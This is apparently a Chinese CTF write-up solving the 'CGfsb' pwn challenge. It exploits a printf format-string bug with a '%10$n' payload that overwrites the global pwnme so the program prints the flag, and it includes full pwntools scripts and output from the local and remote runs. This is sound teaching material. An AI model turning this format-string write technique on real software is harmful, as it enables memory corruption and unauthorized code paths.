题目地址:CGfsb
先下载题目看看情况
中间步骤我就不再赘述了,直接就上来分析反编译的情况,先例行检查一下保护情况
checksec 5982010c172744c8a1c93c24b5200b21
[*] '/ctf/work/python/5982010c172744c8a1c93c24b5200b21'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
反编译成c语言代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
这里面可以注意到printf(&s);只有一个参数,正常来说printf是至少需要二个以上到参数的。
那么考点就是在这里了,注意到题目到文字部分
“菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用”
printf格式化漏洞的具体情况,大家可以去搜索一下,资料非常多,我这里就直接利用这个漏洞,把过程给大家讲一下
我先把最重要的payload部分分解一下,首先我们需要确认一下偏移位置,确定偏移位置的payload如下:
payload = 'A'*4 + '%x,'*10 + '%x'
我们在payload的前四个字节设置位AAAA,那么我们就需要在printf打印出来的字节中找到41414141这样的字符,因为ASCII码的A=41。
我先给出查找偏移位置的python脚本
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p = process('./5982010c172744c8a1c93c24b5200b21')
# p = remote("111.198.29.45", 59952)
payload = 'A'*4 + '%x,'*10 + '%x'
p.sendlineafter('name:', 'aaa')
p.sendlineafter('please:', payload)
p.interactive()
执行之后的结果如下:
这里通过计算我们发现41414141是处在第10个位置
我们回顾一下之前的题目的反编译c语言代码,需要获得flag的内容,我们要搞定的条件是:
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
pwnme跟进去看到它是bss段中的一个数据地址
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
现在三个条件都有了,我们重新来构造一下payload
payload = p32(0x0804A068) + 'A'*4 + '%10$n'
这里解释一下%n是写入计数值,%10$n的意思是讲计数值写入第10个参数,也就是我们之前定位的偏移值
p32(0x0804A068) + 'A'*4 计算是8个字符,也就是把8写入到0x0804A068所在地址,也就相当于给变量pwnme赋值为8
那我就继续构造一下本地执行的python脚本
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p = process('./5982010c172744c8a1c93c24b5200b21')
# p = remote("111.198.29.45", 59952)
# payload = 'A'*4 + '%x,'*10 + '%x'
payload = p32(0x0804A068) + 'A'*4 + '%10$n'
p.sendlineafter('name:', 'aaa')
p.sendlineafter('please:', payload)
p.interactive()
执行结果如下:
root@mypwn:/ctf/work/python# python CGfsb.py
[+] Starting local process './5982010c172744c8a1c93c24b5200b21': pid 69
[*] Switching to interactive mode
hello aaa
your message is:
h\xa0\x0AAAA
you pwned me, here is your flag:
cat: flag: No such file or directory
[*] Process './5982010c172744c8a1c93c24b5200b21' stopped with exit code 0 (pid 69)
[*] Got EOF while reading in interactive
注意看到了“you pwned me, here is your flag:”,因为本地没有flag文件,所以没有实际的flag值输出。
实际的执行已经是成功的,那么我们修改一下为远程执行,python代码就不再贴出来了,自行脑补,执行结果如下:
root@mypwn:/ctf/work/python# python CGfsb.py
[+] Opening connection to 111.198.29.45 on port 59952: Done
[*] Switching to interactive mode
hello aaa
your message is:
h\xa0\x0AAAA
you pwned me, here is your flag:
cyberpeace{3f45d72f69056de04a6cf274a132a374}
[*] Got EOF while reading in interactive
$
这就执行完成了,本题主要是要理解printf的单参数漏洞及%n计数写入指定参数位置,这两个知识点。